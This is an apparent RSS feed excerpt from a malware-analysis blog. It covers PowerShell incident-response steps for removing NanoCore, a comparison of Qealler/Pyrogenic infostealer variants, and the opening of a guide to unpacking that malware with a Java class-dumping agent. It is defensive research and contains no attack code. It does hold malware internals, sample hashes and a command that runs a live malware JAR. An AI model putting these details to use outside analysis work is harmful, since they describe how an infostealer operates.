&lt;p&gt;We will use calculated properties that require a Hashtable with a Name/label and an Expression key. The name key is the property name and the Expression key is a scriptblock that will be executed as Select-Object receives input. Please read this great article &lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[5]&lt;/sup&gt;&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/adbertram&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;@adbertram&lt;/a&gt; regarding calculated properties using Hashtable&lt;/p&gt;
&lt;p&gt;&lt;code&gt;@{ Name = &apos;&apos;;  Expression = {}}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Using E/Expression we are calculating the MD5 &amp;amp; SHA256 of each file returned by &lt;strong&gt;Get-ChildItem&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Get-ChildItem -Path C:\Users\admin\AppData\Roaming\0319B08F-2B65-4192-B2D2-1E2F62087064\ -Force -Recurse -File | Select-Object @{Name=&apos;MD5&apos;;E={(Get-FileHash -Algorithm MD5 $_).Hash}}, @{N=&apos;SHA256&apos;;E={(Get-FileHash -Algorithm SHA256 $_).Hash}}, Name, FullName&lt;/code&gt;&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2020/05/Hash-Md5-and-Sha256-12.png&quot;&gt;&lt;img alt=&quot;Gather MD5, SHA256, Name and FullName of NanoCore files&quot; decoding=&quot;async&quot; height=&quot;384&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1481px) 100vw, 1481px&quot; src=&quot;/wp-content/uploads/2020/05/Hash-Md5-and-Sha256-12.png&quot; srcset=&quot;/wp-content/uploads/2020/05/Hash-Md5-and-Sha256-12.png 1481w, /wp-content/uploads/2020/05/Hash-Md5-and-Sha256-12-300x78.png 300w, /wp-content/uploads/2020/05/Hash-Md5-and-Sha256-12-1024x266.png 1024w, /wp-content/uploads/2020/05/Hash-Md5-and-Sha256-12-768x199.png 768w&quot; width=&quot;1481&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Gather MD5, SHA256, Name and FullName of NanoCore files&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;Now we will export the result in FileHashes.csv format using Export-Csv&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Get-ChildItem -Path C:\Users\admin\AppData\Roaming\0319B08F-2B65-4192-B2D2-1E2F62087064\ -Force -Recurse -File | Select-Object @{Name=&apos;MD5&apos;;E={(Get-FileHash -Algorithm MD5 $_).Hash}}, @{N=&apos;SHA256&apos;;E={(Get-FileHash -Algorithm SHA256 $_).Hash}},Name, FullName | Export-Csv -Path FileHashes.csv&lt;/code&gt;&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2020/05/Export-Csv-13.png&quot;&gt;&lt;img alt=&quot;PowerShell Commands for Incident Response - Exporting hashes to csv&quot; decoding=&quot;async&quot; height=&quot;285&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1514px) 100vw, 1514px&quot; src=&quot;/wp-content/uploads/2020/05/Export-Csv-13.png&quot; srcset=&quot;/wp-content/uploads/2020/05/Export-Csv-13.png 1514w, /wp-content/uploads/2020/05/Export-Csv-13-300x56.png 300w, /wp-content/uploads/2020/05/Export-Csv-13-1024x193.png 1024w, /wp-content/uploads/2020/05/Export-Csv-13-768x145.png 768w&quot; width=&quot;1514&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;PowerShell Command for exporting hashes to csv&lt;/figcaption&gt;&lt;/figure&gt;&lt;h5&gt;5. Copy artifacts for analysis&lt;/h5&gt;
&lt;p&gt;Before removing the artifacts, we may want to copy them for further analysis if needed by other teams.&lt;/p&gt;
&lt;p&gt;Let’s use the &lt;strong&gt;New-Item&lt;/strong&gt; cmdlet to create the directory and use &lt;strong&gt;Copy-Item&lt;/strong&gt; to copy the files to IoCs dir&lt;/p&gt;
&lt;p&gt;&lt;code&gt;New-Item -ItemType Directory -Path C:\Users\admin\IoCs&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Copy-Item C:\Users\admin\AppData\Roaming\0319B08F-2B65-4192-B2D2-1E2F62087064\ -Destination C:\Users\admin\IoCs\ -Recurse&lt;/code&gt;&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2020/05/New-Dir-and-Copy-Folder-14.png&quot;&gt;&lt;img alt=&quot;PowerShell Commands for Incident Response - New-Item &amp;amp; Copy-Item PowerShell cmdlets for directory&quot; decoding=&quot;async&quot; height=&quot;246&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1281px) 100vw, 1281px&quot; src=&quot;/wp-content/uploads/2020/05/New-Dir-and-Copy-Folder-14.png&quot; srcset=&quot;/wp-content/uploads/2020/05/New-Dir-and-Copy-Folder-14.png 1281w, /wp-content/uploads/2020/05/New-Dir-and-Copy-Folder-14-300x58.png 300w, /wp-content/uploads/2020/05/New-Dir-and-Copy-Folder-14-1024x197.png 1024w, /wp-content/uploads/2020/05/New-Dir-and-Copy-Folder-14-768x147.png 768w&quot; width=&quot;1281&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;New-Item &amp;amp; Copy-Item PowerShell cmdlets for directory&lt;/figcaption&gt;&lt;/figure&gt;&lt;h5&gt;6. Delete malware artifacts&lt;/h5&gt;
&lt;aside class=&quot;callout&quot;&gt;&lt;p&gt;Note: Don’t forget to use -Force in Remove-Item, otherwise you cannot delete read-only or hidden files which are frequently used in Malware.&lt;/p&gt;
&lt;/aside&gt;&lt;p&gt;We have already removed the persistence mechanism, now we just need to delete the files from the infected machine using &lt;strong&gt;Remove-Item&lt;/strong&gt; cmdlet.&lt;/p&gt;
&lt;p&gt;Delete the complete dir recursively&lt;br/&gt;
&lt;code&gt;Remove-Item -Path $env:APPDATA\0319B08F-2B65-4192-B2D2-1E2F62087064\ -Recurse -Force&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Remove the copy of the NanoCore malware&lt;br/&gt;
&lt;code&gt;Remove-Item -Path $env:TEMP\RAVBg64.exe -Force&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Delete the initial file&lt;br/&gt;
&lt;code&gt;Remove-Item -Path $env:USERPROFILE\Desktop\Serial.exe&lt;/code&gt;&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2020/05/Remove-Item-15.png&quot;&gt;&lt;img alt=&quot;Remove-Item for file &amp;amp; directory&quot; decoding=&quot;async&quot; height=&quot;74&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 965px) 100vw, 965px&quot; src=&quot;/wp-content/uploads/2020/05/Remove-Item-15.png&quot; srcset=&quot;/wp-content/uploads/2020/05/Remove-Item-15.png 965w, /wp-content/uploads/2020/05/Remove-Item-15-300x23.png 300w, /wp-content/uploads/2020/05/Remove-Item-15-768x59.png 768w&quot; width=&quot;965&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Remove-Item cmdlet for file &amp;amp; directory&lt;/figcaption&gt;&lt;/figure&gt;&lt;h4 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h4&gt;
&lt;p&gt;In this article, I have explained useful PowerShell Commands which can be used in Incident Response for NanoCore but these commands can be applied to any malware infection. &lt;span style=&quot;font-weight: 400;&quot;&gt;There are a lot more PowerShell Commands which can be used in Incident Response.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;For the next iteration, you can even write the PowerShell script and deploy to multiple machines over your network for cleanup.&lt;/p&gt;
&lt;p&gt;If you are looking for an easy way to deobfuscate PowerShell then check this &lt;a href=&quot;/malware-analysis/deobfuscate-powershell-using-powershell-logging/&quot;&gt;Deobfuscate PowerShell using PowerShell Logging&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id=&quot;references&quot;&gt;References&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-gb/powershell/scripting/overview?view=powershell-7&quot; rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;PowerShell Overview – Microsoft&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7&quot; rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;PowerShell remoting&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-gb/powershell/scripting/install/installing-powershell-core-on-windows?view=powershell-7.x&quot; rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;Installing PowerShell Core&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://app.any.run/tasks/6b063197-d725-4642-954e-5e6a99efa884/&quot; rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;ANY.RUN&lt;/a&gt; – (MD5: 0ed2be7c91efdb87c98084bb0a22d8d7) NanoCore&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mcpmag.com/articles/2017/01/19/using-powershell-calculated-properties.aspx&quot; rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;Using PowerShell’s Calculated Properties&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

</content:encoded><category>incident-response</category><category>blue-team</category><category>cheat-sheet</category><category>commands</category><category>nanocore</category><category>powershell</category><category>rat</category></item><item><title>Similarity between Qealler/Pyrogenic variants -Part 0x3</title><link>https://www.securityinbits.com/malware-analysis/similarity-between-qealler-pyrogenic-variants-part-0x3/</link><guid isPermaLink="false">https://www.securityinbits.com/?p=418</guid><description>In this last part, we will compare Old Qealler with new Qealler/Pyrogenic variant based on static code analysis.</description><pubDate>Tue, 04 Feb 2020 02:24:59 GMT</pubDate><content:encoded>&lt;p&gt;In this last part, we will compare Old Qealler with the new Qealler/Pyrogenic variant. The previous posts &lt;a href=&quot;/malware-analysis/pyrogenic-infostealer-static-analysis-part-0x1/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Pyrogenic Infostealer static analysis – Part 0x1&lt;/a&gt; &amp;amp; &lt;a href=&quot;/malware-analysis/unpacking/unpacking-pyrogenic-qealler-using-java-agent-part-0x2/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Unpacking Pyrogenic/Qealler using Java agent -Part 0x2&lt;/a&gt;  went through the latest Pyrogenic/Qealler &lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[6]&lt;/sup&gt;&lt;/a&gt; statically and dumping the unpacked code using Java agent.&lt;/p&gt;
&lt;h5&gt;CONTENTS&lt;/h5&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;#timeline&quot;&gt;Brief Timeline&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#similarity&quot;&gt;Similarity between Qealler variants&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#conclusion&quot;&gt;Conclusion&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#references&quot;&gt;References&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&quot;timeline&quot;&gt;Brief Timeline&lt;/h4&gt;
&lt;h5&gt;June 2018&lt;/h5&gt;
&lt;p&gt;First Old Qealler sample &lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[4]&lt;/sup&gt;&lt;/a&gt; (MD5: 65ab1ef8e9cef5c489d4b01cbb8a2a22)  found on ANY.RUN&lt;/p&gt;
&lt;h5&gt;Aug-Sep 2018&lt;/h5&gt;
&lt;p&gt;The tweet&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[1]&lt;/sup&gt;&lt;/a&gt; by @James_inthe_box first mentioned the Old Qealler. @jeFF0Falltrades posted Qealler Unloaded deep dive analysis &lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[2]&lt;/sup&gt;&lt;/a&gt; .&lt;/p&gt;
&lt;h5&gt;Jan-Feb 2019&lt;/h5&gt;
&lt;p&gt;Multiple cyber security company posted articles&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[3]&lt;/sup&gt;&lt;/a&gt; about Qealler variant using the Qazagne Python credential harvester.&lt;/p&gt;
&lt;h5&gt;April 2019&lt;/h5&gt;
&lt;p&gt;Based on ANY.RUN submissions, Old Qealler variant using the Qazagne &lt;strong&gt;stopped&lt;/strong&gt; around April 2019&lt;/p&gt;
&lt;h5&gt;Aug 2019 – Now&lt;/h5&gt;
&lt;p&gt;Based on ANY.RUN submissions, Qealler tagged samples started around Aug 2019 and continue till now Aug 2020.&lt;/p&gt;
&lt;aside class=&quot;callout&quot;&gt;&lt;p&gt;Note: When this post mention Old Qealler it means that the variant which was using the Qazagne Python credential harvester.&lt;/p&gt;
&lt;/aside&gt;
&lt;h4 id=&quot;similarity&quot;&gt;Similarity between Qealler variants&lt;/h4&gt;
&lt;p&gt;For easy/fast comparison, I have imported unpacked code of both Qealler variant in Eclipse IDE.  I will compare this Old Qealler (MD5: 8D564A18B902461C19936CCB1F4E2F12) &lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[5]&lt;/sup&gt;&lt;/a&gt; and new Pyrogenic/Qealler sample (MD5: F0E21C7789CD57EEBF8ECDB9FADAB26B) &lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[6]&lt;/sup&gt;&lt;/a&gt; used in the previous posts. Highly recommended to read through the existing analysis of Old Qealler Unloaded&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[2]&lt;/sup&gt;&lt;/a&gt; by @jeFF0Falltrades &amp;amp; article &lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[3]&lt;/sup&gt;&lt;/a&gt; by Zscaler.&lt;/p&gt;
&lt;p&gt;Both Qealler variants use the same Qrypter packer variant.&lt;/p&gt;
&lt;h5&gt;1. AES Key bbb6fec5ebef0d93&lt;/h5&gt;
&lt;p&gt;You will find multiple references to bbb6fec5ebef0d93 as shown below.  This is the AES key used in both variant.&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2020/01/AES-Key-1.png&quot;&gt;&lt;img alt=&quot;Same AES Key bbb6fec5ebef0d93&quot; decoding=&quot;async&quot; height=&quot;555&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2020/01/AES-Key-1.png&quot; srcset=&quot;/wp-content/uploads/2020/01/AES-Key-1.png 1742w, /wp-content/uploads/2020/01/AES-Key-1-300x217.png 300w, /wp-content/uploads/2020/01/AES-Key-1-1024x739.png 1024w, /wp-content/uploads/2020/01/AES-Key-1-768x555.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Same AES Key bbb6fec5ebef0d93&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h5&gt;2. UUID Key 2a898bc98aaf6c96f2054bb1eadc9848eb77633039e9e9ffd833184ce553fe9b&lt;/h5&gt;
&lt;p&gt;Config is stored in a key value pair and key for UUID present in both variants. This key is also present in the Old Qealler Unloaded&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[2]&lt;/sup&gt;&lt;/a&gt;  article and the same string “Loaded:” is used in both variants. &lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2020/01/UUID-key-Qealler-Pyrogenic-2.png&quot;&gt;&lt;img alt=&quot;Same UUID key&quot; decoding=&quot;async&quot; height=&quot;479&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2020/01/UUID-key-Qealler-Pyrogenic-2.png&quot; srcset=&quot;/wp-content/uploads/2020/01/UUID-key-Qealler-Pyrogenic-2.png 1876w, /wp-content/uploads/2020/01/UUID-key-Qealler-Pyrogenic-2-300x187.png 300w, /wp-content/uploads/2020/01/UUID-key-Qealler-Pyrogenic-2-1024x639.png 1024w, /wp-content/uploads/2020/01/UUID-key-Qealler-Pyrogenic-2-768x479.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Same UUID key&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h5&gt;3. Systeminfo in JSON format&lt;/h5&gt;
&lt;p&gt;It collects the system info in JSON format before encrypting and sending it to CC.  Both Qealler variants use the same key e.g &lt;strong&gt;osName&lt;/strong&gt;, &lt;strong&gt;osVersion&lt;/strong&gt;, &lt;strong&gt;osArch&lt;/strong&gt;, &lt;strong&gt;totalMemory&lt;/strong&gt; and code structure as shown below.  &lt;strong&gt;localIpAddress&lt;/strong&gt; &amp;amp; &lt;strong&gt;globalIpAddress&lt;/strong&gt; keys are added to the new Qealler version.  &lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2020/01/Systeminfo-in-Json-format-Qealler-Pyrogenic-3.png&quot;&gt;&lt;img alt=&quot;Systeminfo in Json format Qealler Pyrogenic&quot; decoding=&quot;async&quot; height=&quot;518&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2020/01/Systeminfo-in-Json-format-Qealler-Pyrogenic-3.png&quot; srcset=&quot;/wp-content/uploads/2020/01/Systeminfo-in-Json-format-Qealler-Pyrogenic-3.png 1892w, /wp-content/uploads/2020/01/Systeminfo-in-Json-format-Qealler-Pyrogenic-3-300x202.png 300w, /wp-content/uploads/2020/01/Systeminfo-in-Json-format-Qealler-Pyrogenic-3-1024x691.png 1024w, /wp-content/uploads/2020/01/Systeminfo-in-Json-format-Qealler-Pyrogenic-3-768x518.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Systeminfo in JSON format Qealler Pyrogenic&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h5&gt;4. ShutdownHook&lt;/h5&gt;
&lt;p&gt;It is used when we want to run some code when JVM is shutting down and both variants use the &lt;strong&gt;addShutdownHook()&lt;/strong&gt;  to delete the files. &lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2020/01/ShutdownHook-Qealler-Pyrogenic-4.png&quot;&gt;&lt;img alt=&quot;ShutdownHook Qealler&quot; decoding=&quot;async&quot; height=&quot;520&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2020/01/ShutdownHook-Qealler-Pyrogenic-4.png&quot; srcset=&quot;/wp-content/uploads/2020/01/ShutdownHook-Qealler-Pyrogenic-4.png 1890w, /wp-content/uploads/2020/01/ShutdownHook-Qealler-Pyrogenic-4-300x203.png 300w, /wp-content/uploads/2020/01/ShutdownHook-Qealler-Pyrogenic-4-1024x693.png 1024w, /wp-content/uploads/2020/01/ShutdownHook-Qealler-Pyrogenic-4-768x520.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;ShutdownHook&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h5&gt;5. QeallerV4 string&lt;/h5&gt;
&lt;p&gt;Found this string “&lt;strong&gt;obfuscated/META-INF/QeallerV4.kotlin_module&lt;/strong&gt;” in memory in the new Qealler/Pyrogenic sample. Maybe this is &lt;em&gt;&lt;strong&gt;version 4 ?&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;h4 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h4&gt;
&lt;p&gt;In this Java malware analysis series we started with static analysis, then moved to Unpacking code using Java agent and in this last part we compared the Qealler variant. These above similarities are the most significant which I can find based on code analysis. I can conclude that the Malware author moved the Credential stealing from Python to Java based code.  Malware authors are experienced coder as they divided the source code in multiple sensible packages and gave proper name to functions, variables and classes.&lt;/p&gt;
&lt;h4 id=&quot;references&quot;&gt;References&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://twitter.com/James_inthe_box/status/1035190253697396737&quot; rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;Tweet by @James_inthe_box&lt;/a&gt; – (MD5: 65ab1ef8e9cef5c489d4b01cbb8a2a22) First Old Qealler tweet Aug 2018&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/jeFF0Falltrades/Malware-Writeups/blob/master/Qealler/Qealler-Unloaded.pdf&quot; rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;Qealler Unloaded by @jeFF0Falltrades&lt;/a&gt; – Sep 2018&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.zscaler.com/blogs/research/qealler-new-jar-based-information-stealer&quot; rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;Qealler – a new JAR-based information stealer&lt;/a&gt; – Feb 2019&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://app.any.run/tasks/e00a9231-8b1e-41da-a9d9-4a14b70637a7/&quot; rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;ANY.RUN&lt;/a&gt; – (MD5: 65ab1ef8e9cef5c489d4b01cbb8a2a22) Old Qealler June 2018&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://app.any.run/tasks/fac4ef49-9f8b-4000-a838-e3421c0578db/&quot; rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;ANY.RUN&lt;/a&gt; – (MD5: 8D564A18B902461C19936CCB1F4E2F12) Old Qealler Sep 2018&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://app.any.run/tasks/b59d58a1-4512-48a4-949e-6c80af823a5d/&quot; rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;ANY.RUN&lt;/a&gt; – (MD5: F0E21C7789CD57EEBF8ECDB9FADAB26B) New Qealler/Pyrogenic Nov 2019&lt;/li&gt;
&lt;/ol&gt;

</content:encoded><category>malware-analysis</category><category>bytecode-viewer</category><category>infostealer</category><category>java</category><category>pyrogenic</category><category>qealler</category></item><item><title>Unpacking Pyrogenic/Qealler using Java agent -Part 0x2</title><link>https://www.securityinbits.com/malware-analysis/unpacking/unpacking-pyrogenic-qealler-using-java-agent-part-0x2/</link><guid isPermaLink="false">https://www.securityinbits.com/?p=368</guid><description>We will learn how and when we can use Java agent to quickly unpack the Pyrogenic/Qealler Infostealer.</description><pubDate>Fri, 17 Jan 2020 07:19:12 GMT</pubDate><content:encoded>&lt;p&gt;We will learn how and when we can use &lt;strong&gt;Java agent&lt;/strong&gt; to quickly unpack the Pyrogenic Infostealer. In the earlier post &lt;a href=&quot;/malware-analysis/pyrogenic-infostealer-static-analysis-part-0x1/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Pyrogenic Infostealer static analysis – Part 0x1&lt;/a&gt; we statically analysed the Pyrogenic/Qealler Infostealer but this requires more time and effort.  We will be using the same sample PaymAdviceVend_LLCRep.jar from &lt;a href=&quot;https://app.any.run/tasks/b59d58a1-4512-48a4-949e-6c80af823a5d&quot; rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;ANY.RUN&lt;/a&gt; (MD5: &lt;strong&gt;F0E21C7789CD57EEBF8ECDB9FADAB26B&lt;/strong&gt;) used in Part 0x1. Let’s start with a basic introduction to Java agent.&lt;/p&gt;
&lt;h5&gt;CONTENTS&lt;/h5&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;#introduction&quot;&gt;Introduction to Java agent&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#unpacking&quot;&gt;Unpacking using Java agent&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#dumped&quot;&gt;Dumped class file analysis&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#fail&quot;&gt;When will it fail?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#conclusion&quot;&gt;Conclusion&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#application&quot;&gt;Targeted Application list&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#references&quot;&gt;References&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;introduction&quot;&gt;Introduction to Java agent&lt;/h3&gt;
&lt;p&gt;A Java agent is used to instrument programs running on the JVM and it can modify the Java bytecode at runtime without source code. In this post we will be using a Java agent to dump the classes during runtime without any bytecode modification but for more details please check this Java Agents Tutorial &lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[1]&lt;/sup&gt;&lt;/a&gt;. These are the minimum requirement for Java agent to work:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Java agent class file should have a &lt;strong&gt;premain&lt;/strong&gt; method which acts as the entry-point.This method is executed before the real java application main method, premain method it’s like TLS callback.&lt;/li&gt;
&lt;li&gt;MANIFEST.MF should be defined with the &lt;strong&gt;Premain-Class&lt;/strong&gt; attribute, which will point to class name with premain method. Another important point is there &lt;strong&gt;must be a new line at the end of the MANIFEST file&lt;/strong&gt;. Otherwise, the last header is ignored.&lt;/li&gt;
&lt;li&gt;javaagent parameter should be specified to load java agent jar file with premain method e.g .&lt;code&gt;java -javaagent:dumper.jar -jar malware.jar&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;unpacking&quot;&gt;Unpacking using Java agent&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;dumper.java &lt;/strong&gt;&amp;amp; &lt;strong&gt;MANIFEST.mf&lt;/strong&gt; are used to build Java agent dumper.jar. &lt;strong&gt;dumper.java&lt;/strong&gt; code is copied from Reversing an obfuscated java malware pdf &lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[2]&lt;/sup&gt;&lt;/a&gt;  and I will highly recommend to go through the pdf&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[2]&lt;/sup&gt;&lt;/a&gt; to understand the different methods which can be used to analyse Java malware.&lt;/p&gt;
&lt;aside class=&quot;callout&quot;&gt;&lt;p&gt;Note: All java, MANIFEST and jar files are uploaded to &lt;a href=&quot;https://github.com/Securityinbits/blog-posts/tree/master/java_agent&quot;&gt;GitHub repo&lt;/a&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[3]&lt;/sup&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/aside&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;dumper.java&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import java.io.*;
import java.lang.instrument.*;
import java.security.*;

// This code is copied from &quot;Reversing an obfuscated java malware by Extreme Coders&quot;
public class dumper {
    //A java agent must have a premain method which acts as the entry-point
    public static void premain(String agentArgs, Instrumentation inst) {
        System.out.println(&quot;agent loaded&quot;);
        // Register out trasnformer
        inst.addTransformer(new transformer());
    }
}

class transformer implements ClassFileTransformer {
    // The transform method is called for each non-system class as they are being loaded
    public byte[] transform(ClassLoader loader, String className,
        Class &amp;lt; ? &amp;gt; classBeingRedefined, ProtectionDomain protectionDomain,
        byte[] classfileBuffer) throws IllegalClassFormatException {
        if (className != null) {
            // Skip all system classes
            if (!className.startsWith(&quot;java&quot;) &amp;amp;&amp;amp;
                !className.startsWith(&quot;sun&quot;) &amp;amp;&amp;amp; !className.startsWith(&quot;javax&quot;) &amp;amp;&amp;amp; !className.startsWith(&quot;com&quot;) &amp;amp;&amp;amp; !className.startsWith(&quot;jdk&quot;) &amp;amp;&amp;amp; !className.startsWith(&quot;org&quot;)) {
                System.out.println(&quot;Dumping: &quot; + className);
                // Replace all separator characters with _
                String newName = className.replaceAll(&quot;/&quot;, &quot;_&quot;) + &quot;.class&quot;;
                try {
                    FileOutputStream fos = new FileOutputStream(newName);
                    fos.write(classfileBuffer);
                    fos.close();
                } catch (Exception ex) {
                    System.out.println(&quot;Exception while writing: &quot; + newName);
                }
            }
        }
        // We are not modifying the bytecode in anyway, so return it as-is
        return classfileBuffer;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;MANIFEST.mf&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Manifest-Version: 1.0&lt;br/&gt;
Premain-Class: dumper&lt;/code&gt;&lt;br/&gt;
&lt;aside class=&quot;callout&quot;&gt;&lt;p&gt;Note: If you know the basic of Java or any other object oriented programming language then it will be much easier to understand this dumped unpacked code.&lt;/p&gt;
&lt;/aside&gt;
&lt;ol&gt;
&lt;li&gt;Uploaded the jar file in &lt;a href=&quot;https://github.com/Securityinbits/blog-posts/tree/master/java_agent&quot; rel=&quot;noopener noreferrer&quot;&gt;GitHub repo&lt;/a&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[3]&lt;/sup&gt;&lt;/a&gt;which is generated using following command: &lt;code&gt;javac dumper.java&lt;br/&gt;
jar cmf MANIFEST.MF dumper.jar dumper.class transformer.class&lt;br/&gt;
&lt;/code&gt;&lt;/li&gt;
